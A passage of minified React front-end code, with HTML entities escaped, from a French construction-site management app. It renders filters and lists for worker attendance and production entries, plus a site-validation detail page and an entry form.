&quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-200&quot;,children:&quot;chantier actif&quot;}),&quot; dans l’en-tête pour afficher les présences.&quot;]}),n.jsx(be,{to:&quot;/projects&quot;,className:ft,children:&quot;Liste des chantiers&quot;})]}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{title:&quot;Présences&quot;,subtitle:te??void 0}),n.jsx(&quot;div&quot;,{className:&quot;flex flex-col gap-2 sm:flex-row sm:flex-wrap&quot;,children:p?n.jsxs(n.Fragment,{children:[n.jsx(be,{to:&quot;/attendances/saisie&quot;,className:&quot;block flex-1 rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Saisie rapide&quot;}),n.jsx(be,{to:&quot;/attendances/new&quot;,className:&quot;block flex-1 rounded-xl border border-stone-600 py-3 text-center text-sm font-medium text-stone-200 hover:bg-stone-900&quot;,children:&quot;+ Ligne&quot;})]}):null}),n.jsxs(&quot;section&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/30 p-3&quot;,children:[n.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Filtres&quot;}),n.jsxs(&quot;div&quot;,{className:&quot;grid gap-3&quot;,children:[n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Jour exact&quot;}),n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:T,onChange:$=&gt;{G($.target.value),H(&quot;&quot;),k(&quot;&quot;)},className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;})]}),n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Du&quot;}),n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:O,onChange:$=&gt;{H($.target.value),G(&quot;&quot;)},className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]}),n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Au&quot;}),n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:M,onChange:$=&gt;{k($.target.value),G(&quot;&quot;)},className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]})]}),n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrier&quot;}),n.jsxs(&quot;select&quot;,{value:F,onChange:$=&gt;K($.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous&quot;}),R.map($=&gt;n.jsx(&quot;option&quot;,{value:$.id,children:$.display_name},$.id))]})]}),n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Équipe&quot;}),n.jsxs(&quot;select&quot;,{value:ee,onChange:$=&gt;I($.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Toutes&quot;}),W.map($=&gt;n.jsx(&quot;option&quot;,{value:$.id,children:$.name},$.id))]})]}),n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),n.jsx(&quot;select&quot;,{value:J,onChange:$=&gt;B($.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:ch.map($=&gt;n.jsx(&quot;option&quot;,{value:$.value,children:$.label},$.value||&quot;all&quot;))})]})]})]}),g?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:g}):null,N?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,!N&amp;&amp;y.length===0?n.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-dashed border-stone-700 px-4 py-8 text-center text-sm text-stone-500&quot;,children:&quot;Aucune présence pour ces critères.&quot;}):null,n.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:y.map($=&gt;{var ae;return n.jsx(&quot;li&quot;,{children:n.jsx(be,{to:`/attendances/${$.id}`,className:ft,children:n.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((ae=$.worker)==null?void 0:ae.display_name)??`Ouvrier #${$.worker_id}`}),n.jsxs(&quot;p&quot;,{className:&quot;mt-0.5 text-xs text-stone-500&quot;,children:[$.date,&quot; · &quot;,iy($.status),$.hours_worked?` · ${$.hours_worked} h`:&quot;&quot;]})]}),n.jsx(&quot;span&quot;,{className:&quot;shrink-0 text-lg text-stone-600&quot;,&quot;aria-hidden&quot;:!0,children:&quot;›&quot;})]})})},$.id)})})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Présences&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (attendances.view).&quot;})]})}const rh=[{value:&quot;&quot;,label:&quot;Tous&quot;},{value:&quot;draft&quot;,label:&quot;Brouillon&quot;},{value:&quot;submitted&quot;,label:&quot;Soumis&quot;},{value:&quot;validated&quot;,label:&quot;Validé (chantier)&quot;},{value:&quot;rejected&quot;,label:&quot;Rejeté&quot;}];function cy(u){var c;return((c=rh.find(d=&gt;d.value===u))==null?void 0:c.label)??u}function ry(u){const c=u??&quot;unknown&quot;,d={not_started:&quot;Ouvrage: pas demarre&quot;,in_progress:&quot;Ouvrage: en cours&quot;,completed:&quot;Ouvrage: termine&quot;,validated:&quot;Ouvrage: valide&quot;,suspended:&quot;Ouvrage: suspendu&quot;,unknown:&quot;Ouvrage: statut inconnu&quot;},r={not_started:&quot;border-stone-700 bg-stone-900 text-stone-300&quot;,in_progress:&quot;border-blue-800 bg-blue-950/40 text-blue-300&quot;,completed:&quot;border-emerald-800 bg-emerald-950/40 text-emerald-300&quot;,validated:&quot;border-amber-800 bg-amber-950/40 text-amber-300&quot;,suspended:&quot;border-red-900 bg-red-950/40 text-red-300&quot;,unknown:&quot;border-stone-700 bg-stone-900 text-stone-400&quot;};return n.jsx(&quot;span&quot;,{className:`inline-flex rounded-full border px-2 py-0.5 text-[10px] font-medium ${r[c]??r.unknown}`,children:d[c]??d.unknown})}function oy(){const{token:u,can:c}=Oe(),{activeProjectId:d,activeProject:r}=ot(),f=d,p=c(&quot;production_entries.manage&quot;),[y,v]=m.useState([]),[g,x]=m.useState(null),[N,b]=m.useState(!0),[T,G]=m.useState(&quot;&quot;),[O,H]=m.useState(&quot;&quot;),[M,k]=m.useState(&quot;&quot;),[F,K]=m.useState(&quot;&quot;),[ee,I]=m.useState(&quot;&quot;),[J,B]=m.useState([]),[R,Q]=m.useState([]),W=m.useCallback(async()=&gt;{if(!u||!f||!c(&quot;production_entries.view&quot;)){b(!1);return}b(!0),x(null);const D=new URLSearchParams;D.set(&quot;per_page&quot;,&quot;100&quot;),D.set(&quot;sort&quot;,&quot;-date&quot;),T&amp;&amp;D.set(&quot;from&quot;,T),O&amp;&amp;D.set(&quot;to&quot;,O),M&amp;&amp;D.set(&quot;work_item_id&quot;,M),F&amp;&amp;D.set(&quot;worker_id&quot;,F),ee&amp;&amp;D.set(&quot;status&quot;,ee);try{const te=await le(`/api/v1/projects/${f}/production-entries?${D.toString()}`,{method:&quot;GET&quot;,token:u});v(te.data)}catch(te){x(te instanceof xe?te.message:&quot;Erreur de chargement&quot;),v([])}finally{b(!1)}},[u,f,c,T,O,M,F,ee]);m.useEffect(()=&gt;{W()},[W]),m.useEffect(()=&gt;{if(!u||!f)return;let D=!1;return(async()=&gt;{try{const[te,$]=await Promise.all([le(`/api/v1/projects/${f}/work-items?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:u}),le(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u})]);D||(B(te.data),Q($.data))}catch{D||(B([]),Q([]))}})(),()=&gt;{D=!0}},[u,f]);const P=m.useMemo(()=&gt;r?`${r.name}${r.code?` (${r.code})`:&quot;&quot;}`:null,[r]);return c(&quot;production_entries.view&quot;)?f===null||!Number.isFinite(f)?n.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[n.jsx(ne,{title:&quot;Production&quot;}),n.jsxs(&quot;p&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 px-4 py-6 text-center text-sm text-stone-400&quot;,children:[&quot;Sélectionnez un &quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-200&quot;,children:&quot;chantier actif&quot;}),&quot; pour les lignes de production.&quot;]}),n.jsx(be,{to:&quot;/projects&quot;,className:ft,children:&quot;Liste des chantiers&quot;})]}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{title:&quot;Production&quot;,subtitle:P??void 0}),n.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[&quot;Saisie terrain et &quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;validation chantier&quot;}),&quot; — la paie au rendu (`per_completed_work`) utilisera les lignes &quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;validées ici&quot;}),&quot;, pas l’avancement ouvrage seul.&quot;]}),n.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2 sm:flex-row&quot;,children:[c(&quot;work_items.manage&quot;)?n.jsx(be,{to:`/projects/${f}/work-items/new`,className:&quot;block flex-1 rounded-xl border border-stone-600 py-3 text-center text-sm font-medium text-stone-200 hover:bg-stone-900&quot;,children:&quot;+ Nouvel ouvrage&quot;}):null,p?n.jsx(be,{to:&quot;/production-entries/new&quot;,className:&quot;block flex-1 rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;+ Nouvelle saisie&quot;}):null]}),n.jsxs(&quot;section&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/30 p-3&quot;,children:[n.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Filtres&quot;}),n.jsxs(&quot;div&quot;,{className:&quot;grid gap-3&quot;,children:[n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Du&quot;}),n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:T,onChange:D=&gt;G(D.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]}),n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Au&quot;}),n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:O,onChange:D=&gt;H(D.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]})]}),n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrage&quot;}),n.jsxs(&quot;select&quot;,{value:M,onChange:D=&gt;k(D.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous&quot;}),J.map(D=&gt;n.jsx(&quot;option&quot;,{value:D.id,children:D.name},D.id))]})]}),n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrier&quot;}),n.jsxs(&quot;select&quot;,{value:F,onChange:D=&gt;K(D.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous&quot;}),R.map(D=&gt;n.jsx(&quot;option&quot;,{value:D.id,children:D.display_name},D.id))]})]}),n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),n.jsx(&quot;select&quot;,{value:ee,onChange:D=&gt;I(D.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:rh.map(D=&gt;n.jsx(&quot;option&quot;,{value:D.value,children:D.label},D.value||&quot;all&quot;))})]})]})]}),g?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:g}):null,N?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,!N&amp;&amp;y.length===0?n.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-dashed border-stone-700 px-4 py-8 text-center text-sm text-stone-500&quot;,children:&quot;Aucune ligne de production pour ces critères.&quot;}):null,n.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:y.map(D=&gt;{var te,$;return n.jsx(&quot;li&quot;,{children:n.jsx(be,{to:`/production-entries/${D.id}`,className:ft,children:n.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((te=D.work_item)==null?void 0:te.name)??`Ouvrage #${D.work_item_id}`}),n.jsx(&quot;div&quot;,{className:&quot;mt-1&quot;,children:ry(($=D.work_item)==null?void 0:$.status)}),n.jsxs(&quot;p&quot;,{className:&quot;mt-0.5 text-xs text-stone-500&quot;,children:[D.date,&quot; · &quot;,D.quantity,&quot; &quot;,D.unit,&quot; · &quot;,cy(D.status)]}),n.jsxs(&quot;p&quot;,{className:&quot;mt-0.5 text-[11px] text-stone-600&quot;,children:[D.worker?D.worker.display_name:D.team?`Équipe : ${D.team.name}`:&quot;—&quot;,D.worker_id?&quot; · base paie individuelle possible si validé&quot;:&quot; · suivi équipe (pas de paie auto MVP)&quot;]})]}),n.jsx(&quot;span&quot;,{className:&quot;shrink-0 text-lg text-stone-600&quot;,&quot;aria-hidden&quot;:!0,children:&quot;›&quot;})]})})},D.id)})})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Production&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (production_entries.view).&quot;})]})}async function Bm(u,c,d){return(await le(c,{...d,token:u})).data}function dy(u){return{draft:&quot;Brouillon&quot;,submitted:&quot;Soumis (en attente chantier)&quot;,validated:&quot;Validé chantier&quot;,rejected:&quot;Rejeté chantier&quot;}[u]??u}function fy(u){const c=u??&quot;unknown&quot;,d={not_started:&quot;Ouvrage: pas demarre&quot;,in_progress:&quot;Ouvrage: en cours&quot;,completed:&quot;Ouvrage: termine&quot;,validated:&quot;Ouvrage: valide&quot;,suspended:&quot;Ouvrage: suspendu&quot;,unknown:&quot;Ouvrage: statut inconnu&quot;},r={not_started:&quot;border-stone-700 bg-stone-900 text-stone-300&quot;,in_progress:&quot;border-blue-800 bg-blue-950/40 text-blue-300&quot;,completed:&quot;border-emerald-800 bg-emerald-950/40 text-emerald-300&quot;,validated:&quot;border-amber-800 bg-amber-950/40 text-amber-300&quot;,suspended:&quot;border-red-900 bg-red-950/40 text-red-300&quot;,unknown:&quot;border-stone-700 bg-stone-900 text-stone-400&quot;};return n.jsx(&quot;span&quot;,{className:`inline-flex rounded-full border px-2 py-0.5 text-[10px] font-medium ${r[c]??r.unknown}`,children:d[c]??d.unknown})}function my(u,c){return c?u===&quot;chef_chantier&quot;||u===&quot;entrepreneur_admin&quot;:!1}function hy(){var B,R,Q,W;const{productionEntryId:u}=at(),c=Number(u),{token:d,user:r,can:f}=Oe(),{activeProject:p,setActiveProjectId:y}=ot(),[v,g]=m.useState(null),[x,N]=m.useState(null),[b,T]=m.useState(!0),[G,O]=m.useState(!1),H=f(&quot;production_entries.manage&quot;),M=f(&quot;production_entries.view&quot;)&amp;&amp;!H,k=my(r==null?void 0:r.role,H),F=H&amp;&amp;v&amp;&amp;(v.status===&quot;draft&quot;||v.status===&quot;rejected&quot;)&amp;&amp;!M,K=k&amp;&amp;v&amp;&amp;v.status===&quot;submitted&quot;;m.useEffect(()=&gt;{if(!Number.isFinite(c)||!d||!f(&quot;production_entries.view&quot;)){T(!1);return}let P=!1;return(async()=&gt;{try{const D=await le(`/api/v1/production-entries/${c}`,{method:&quot;GET&quot;,token:d});P||(g(D.data),y(D.data.project_id))}catch(D){P||N(D instanceof xe?D.message:&quot;Erreur&quot;)}finally{P||T(!1)}})(),()=&gt;{P=!0}},[c,d,f,y]);async function ee(P){if(!(!d||!v)){O(!0),N(null);try{const D=await Bm(d,`/api/v1/production-entries/${v.id}`,{method:&quot;PATCH&quot;,body:JSON.stringify({status:P})});g(D)}catch(D){N(D instanceof xe?D.message:&quot;Action impossible&quot;)}finally{O(!1)}}}async function I(P){if(!(!d||!v)){O(!0),N(null);try{const D=await Bm(d,`/api/v1/production-entries/${v.id}/validate`,{method:&quot;POST&quot;,body:JSON.stringify({decision:P})});g(D)}catch(D){N(D instanceof xe?D.message:&quot;Action impossible&quot;)}finally{O(!1)}}}if(!f(&quot;production_entries.view&quot;))return n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Production&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]});if(!Number.isFinite(c))return n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;});if(b)return n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;});if(x&amp;&amp;!v)return n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:&quot;/production-entries&quot;,title:&quot;Production&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x})]});if(!v)return null;const J=H&amp;&amp;v.status!==&quot;validated&quot;&amp;&amp;!(v.status===&quot;submitted&quot;&amp;&amp;(r==null?void 0:r.role)===&quot;contremaitre_technicien&quot;);return n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/production-entries&quot;,title:&quot;Ligne de production&quot;,subtitle:p&amp;&amp;p.id===v.project_id?p.name:`Projet #${v.project_id}`}),n.jsxs(&quot;p&quot;,{className:&quot;rounded-lg border border-stone-800 bg-stone-900/50 px-3 py-2 text-xs text-stone-500&quot;,children:[n.jsx(&quot;strong&quot;,{className:&quot;text-amber-600/90&quot;,children:&quot;Validation chantier&quot;}),&quot; (cette page) — distincte de la&quot;,&quot; &quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;validation financière de la paie&quot;}),&quot; (module Paie, hors lot actuel).&quot;]}),x?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x}):null,n.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/40 p-4 text-sm&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrage&quot;}),n.jsxs(&quot;dd&quot;,{className:&quot;mt-0.5 text-base font-medium text-stone-100&quot;,children:[((B=v.work_item)==null?void 0:B.name)??`#${v.work_item_id}`,f(&quot;work_items.manage&quot;)?n.jsx(be,{to:`/projects/${v.project_id}/work-items/${v.work_item_id}/edit`,className:&quot;ml-2 text-xs font-medium text-amber-500 hover:text-amber-400&quot;,children:&quot;Modifier&quot;}):null,n.jsx(&quot;div&quot;,{className:&quot;mt-1&quot;,children:fy((R=v.work_item)==null?void 0:R.status)})]})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Date&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:v.date})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Quantité / unité&quot;}),n.jsxs(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:[v.quantity,&quot; &quot;,v.unit,v.unit_rate?` · taux ${v.unit_rate}`:&quot;&quot;]})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Attribution&quot;}),n.jsxs(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:[v.worker?n.jsxs(n.Fragment,{children:[&quot;Ouvrier : &quot;,v.worker.display_name,n.jsx(&quot;span&quot;,{className:&quot;mt-1 block text-[11px] text-stone-500&quot;,children:&quot;Peut servir de base à une paie individuelle au rendu une fois validé chantier.&quot;})]}):null,v.team?n.jsxs(n.Fragment,{children:[v.worker?&quot; · &quot;:null,&quot;Équipe : &quot;,v.team.name,n.jsx(&quot;span&quot;,{className:&quot;mt-1 block text-[11px] text-stone-500&quot;,children:&quot;Suivi chantier ; pas de paie auto individuelle MVP sans répartition.&quot;})]}):null,!v.worker&amp;&amp;!v.team?&quot;—&quot;:null]})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:dy(v.status)})]}),v.comment?n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Commentaire&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 whitespace-pre-wrap text-stone-300&quot;,children:v.comment})]}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Saisi par&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((Q=v.created_by)==null?void 0:Q.full_name)??`#${v.created_by_user_id}`})]}),v.validated_by_user_id?n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Validé chantier par&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((W=v.validated_by)==null?void 0:W.full_name)??`#${v.validated_by_user_id}`})]}):null]}),M?n.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule (ex. financier — contexte paie au rendu).&quot;}):null,n.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2&quot;,children:[J?n.jsx(be,{to:`/production-entries/${v.id}/edit`,className:Xt,children:&quot;Modifier&quot;}):null,F?n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:G,onClick:()=&gt;void ee(&quot;submitted&quot;),className:ht,children:G?&quot;…&quot;:&quot;Soumettre pour validation chantier&quot;}):null,K?n.jsxs(n.Fragment,{children:[n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:G,onClick:()=&gt;void I(&quot;validated&quot;),className:ht,children:G?&quot;…&quot;:&quot;Valider (chantier)&quot;}),n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:G,onClick:()=&gt;void I(&quot;rejected&quot;),className:&quot;rounded-xl border border-red-900/60 bg-red-950/40 py-3 text-center text-sm font-semibold text-red-300 hover:bg-red-950/60&quot;,children:&quot;Rejeter (chantier)&quot;})]}):null]})]})}function py(){const u=new Date,c=u.getFullYear(),d=String(u.getMonth()+1).padStart(2,&quot;0&quot;),r=String(u.getDate()).padStart(2,&quot;0&quot;);return`${c}-${d}-${r}`}function Lm(){const{productionEntryId:u}=at(),c=u?Number(u):null,d=Number.isFinite(c),r=Wt(),f=Ft(),p=!d&amp;&amp;f.state&amp;&amp;typeof f.state==&quot;object&quot;&amp;&amp;&quot;workItemId&quot;in f.state?Number(f.state.workItemId):NaN,{token:y,can:v}=Oe(),{activeProjectId:g,activeProject:x,setActiveProjectId:N}=ot(),b=g,T=v(&quot;production_entries.manage&quot;),[G,O]=m.useState(&quot;&quot;),[H,M]=m.useState(&quot;&quot;),[k,F]=m.useState(&quot;&quot;),[K,ee]=m.useState(py()),[I,J]=m.useState(&quot;&quot;),[B,R]=m.useState(&quot;&quot;),[Q,W]=m.useState(&quot;&quot;),[P,D]=m.useState(&quot;draft&quot;),[te,$]=m.useState(&quot;&quot;),[ae,w]=m.useState({}),[Y,ie]=m.useState(null),[me,ze]=m.useState(!1),[j,q]=m.useState(d),[X,se]=m.useState([]),[de,ve]=m.useState([]),[Ne,Fe]=m.useState([]),[Ve,Ka]=m.useState(!1);m.useEffect(()=&gt;{Number.isFinite(b)&amp;&amp;N(b)},[b,N]),m.useEffect(()=&gt;{if(!y||!b)return;let pe=!1;return(async()=&gt;{try{const[Dt,Me,Na]=await Promise.all([le(`/api/v1/projects/${b}/work-items?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:y}),le(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:y}),le(`/api/v1/projects/${b}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:y})]);pe||(se(Dt.data),ve(Me.data),Fe(Na.data))}catch{pe||(se([]),ve([]),Fe([]))}})(),()=&gt;{pe=!0}},[y,b]),m.useEffect(()=&gt;{d||!Number.isFinite(p)||X.some(pe=&gt;pe.id===p)&amp;&amp;O(String(p))},[d,p,X]),m.useEffect(()=&gt;{if(!d||!y||c===null||!Number.isFinite(c)){q(!1);return}let pe=!1;return(async()=&gt;{try{const Dt=await le(`/api/v1/production-entries/${c}`,{method:&quot;GET&quot;,token:y});if(!pe){const Me=Dt.data;Me.status===&quot;validated&quot;&amp;&amp;Ka(!0),O(String(Me.work_item_id)),M(Me.worker_id?String(Me.worker_id):&quot;&quot;),F(Me.team_id?String(Me.team_id):&quot;&quot;),ee(Me.date.slice(0,10)),J(String(Me.quantity)),R(Me.unit),W(Me.unit_rate??&quot;&quot;),Me.status===&quot;rejected&quot;?D(&quot;draft&quot;):Me.status===&quot;submitted&quot;||Me.status===&quot;draft&quot;?D(Me.status):D(&quot;draft&quot;),$(Me.comment??&quot;&quot;)}}catch(Dt){pe||ie(Dt instanceof xe?Dt.message:&quot;Chargement impossible&quot;)}finally{pe||q(!1)}})(),()=&gt;{pe=!0}},[d,c,y]);async function pl(pe){if(pe.preventDefault(),!y||!b)return;if(!H&amp;&amp;!k){ie(&quot;Renseignez au moins un ouvrier ou une équipe.&quot;);return}ie(null),w({}),ze(!0);const Dt={work_item_id:Number(G),worker_id:H?Number(H):null,team_id:k?Number(k):null,date:K,quantity:Number(I),unit:B,unit_rate:Q===&quot;&quot;?null:Number(Q),status:P,comment:te===&quot;&quot;?null:te};try{d&amp;&amp;c!==null?(await le(`/api/v1/production-entries/${c}`,{method:&quot;PATCH&quot;,token:y,body:JSON.stringify(Dt)}),r(`/production-entries/${c}`)):(await le(`/api/v1/projects/${b}/production-entries`,{method:&quot;POST&quot;,token:y,body:JSON.stringify(Dt)}),r(&quot;/production-entries&quot;))}catch(Me){if(Me instanceof xe){ie(Me.message);const Na=mr(Me.body);Na&amp;&amp;w(Na)}else ie(&quot;Enregistrement impossible&quot;)}finally{ze(!1)}}return v(&quot;production_entries.view&quot;)?T?b===null?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Production&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Sélectionnez un chantier actif.&quot;})]}):j?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):Ve?n.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[n.jsx(ne,{backTo:`/production-entries/${c}`,title:&quot;Modifier&quot;}),n.jsxs(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:[&quot;Cette ligne est validée côté chantier — elle n’est plus modifiable ici. La validation&quot;,&quot; &quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-300&quot;,children:&quot;financière de la paie&quot;}),&quot; est un autre circuit (module Paie).&quot;]})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:d?`/production-entries/${c}`:&quot;/production-entries&quot;,title:d?&quot;Modifier la production&quot;:&quot;Nouvelle 